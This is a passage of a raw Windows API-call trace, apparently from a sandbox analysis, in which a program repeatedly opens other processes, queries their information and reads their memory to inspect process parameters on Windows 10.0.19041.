nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.464] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.465] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.465] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.465] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.465] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.465] malloc (_Size=0x54) returned 0xeaa950 [0344.465] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22a4, lpBuffer=0xeaa950, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa950*, lpNumberOfBytesRead=0x0) returned 1 [0344.466] free (_Block=0xeaa950) [0344.467] CloseHandle (hObject=0xa9c) returned 1 [0344.467] _ui64tow_s (in: _Value=0x14d8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5336") returned 0x0 [0344.467] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5336") returned 4 [0344.467] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.467] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.468] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14d8) returned 0xa9c [0344.468] GetLastError () returned 0x0 [0344.468] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.468] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ec018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.468] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.468] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.469] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.469] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.469] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.469] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ec020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.469] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.469] malloc (_Size=0x72) returned 0xea93a0 [0344.469] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5522c2, lpBuffer=0xea93a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea93a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.471] free (_Block=0xea93a0) [0344.471] CloseHandle (hObject=0xa9c) returned 1 [0344.471] _ui64tow_s (in: _Value=0x14e8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5352") returned 0x0 [0344.472] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5352") returned 4 [0344.472] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.472] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.473] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14e8) returned 0x0 [0344.473] CloseHandle (hObject=0x0) returned 0 [0344.473] _ui64tow_s (in: _Value=0x1520, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5408") returned 0x0 [0344.473] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5408") returned 4 [0344.473] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.473] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.474] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1520) returned 0xa9c [0344.474] GetLastError () returned 0x0 [0344.474] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.474] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.475] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.475] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.475] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b2258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.475] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.475] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.475] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.476] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.476] malloc (_Size=0x68) returned 0xeb62a0 [0344.476] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b22b8, lpBuffer=0xeb62a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb62a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.477] free (_Block=0xeb62a0) [0344.477] CloseHandle (hObject=0xa9c) returned 1 [0344.477] _ui64tow_s (in: _Value=0x154c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5452") returned 0x0 [0344.477] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5452") returned 4 [0344.477] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.477] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.478] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x154c) returned 0xa9c [0344.478] GetLastError () returned 0x0 [0344.478] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.478] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x39d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.478] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.479] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.479] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d2258, lpBuffer=0x5ec5a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.479] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.479] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.479] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x39d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.479] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.480] malloc (_Size=0x76) returned 0xea8f20 [0344.480] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d22c6, lpBuffer=0xea8f20, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8f20*, lpNumberOfBytesRead=0x0) returned 1 [0344.480] free (_Block=0xea8f20) [0344.480] CloseHandle (hObject=0xa9c) returned 1 [0344.481] _ui64tow_s (in: _Value=0x1568, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5480") returned 0x0 [0344.481] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5480") returned 4 [0344.481] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.481] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.482] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1568) returned 0xa9c [0344.482] GetLastError () returned 0x0 [0344.482] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.482] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x35f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.482] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.482] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.482] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2258, lpBuffer=0x5ec5a0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.483] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.483] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.483] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x35f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.483] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.483] malloc (_Size=0x7a) returned 0xe87ca0 [0344.483] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f22ca, lpBuffer=0xe87ca0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87ca0*, lpNumberOfBytesRead=0x0) returned 1 [0344.484] free (_Block=0xe87ca0) [0344.484] CloseHandle (hObject=0xa9c) returned 1 [0344.485] _ui64tow_s (in: _Value=0x1574, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5492") returned 0x0 [0344.485] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5492") returned 4 [0344.485] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.485] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.487] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1574) returned 0xa9c [0344.487] GetLastError () returned 0x0 [0344.487] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.487] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.487] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.488] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.488] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.488] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.488] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.488] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.488] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.489] malloc (_Size=0x76) returned 0xea9420 [0344.489] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22c6, lpBuffer=0xea9420, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9420*, lpNumberOfBytesRead=0x0) returned 1 [0344.490] free (_Block=0xea9420) [0344.490] CloseHandle (hObject=0xa9c) returned 1 [0344.490] _ui64tow_s (in: _Value=0x15b0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5552") returned 0x0 [0344.490] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5552") returned 4 [0344.490] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.490] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.491] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15b0) returned 0xa9c [0344.491] GetLastError () returned 0x0 [0344.491] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.491] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3f9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.491] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.492] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.492] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.492] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.492] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.492] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3f9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.492] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.493] malloc (_Size=0x5e) returned 0xeb6540 [0344.493] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ae, lpBuffer=0xeb6540, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6540*, lpNumberOfBytesRead=0x0) returned 1 [0344.493] free (_Block=0xeb6540) [0344.493] CloseHandle (hObject=0xa9c) returned 1 [0344.493] _ui64tow_s (in: _Value=0x15cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5580") returned 0x0 [0344.494] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5580") returned 4 [0344.494] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.494] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.495] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15cc) returned 0xa9c [0344.495] GetLastError () returned 0x0 [0344.495] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.495] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x21a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.495] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.495] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.495] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.496] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.496] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.496] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x21a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.496] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.496] malloc (_Size=0x66) returned 0xeb61c0 [0344.496] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5722b6, lpBuffer=0xeb61c0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb61c0*, lpNumberOfBytesRead=0x0) returned 1 [0344.497] free (_Block=0xeb61c0) [0344.497] CloseHandle (hObject=0xa9c) returned 1 [0344.497] _ui64tow_s (in: _Value=0x15e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5600") returned 0x0 [0344.497] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5600") returned 4 [0344.498] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.498] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", 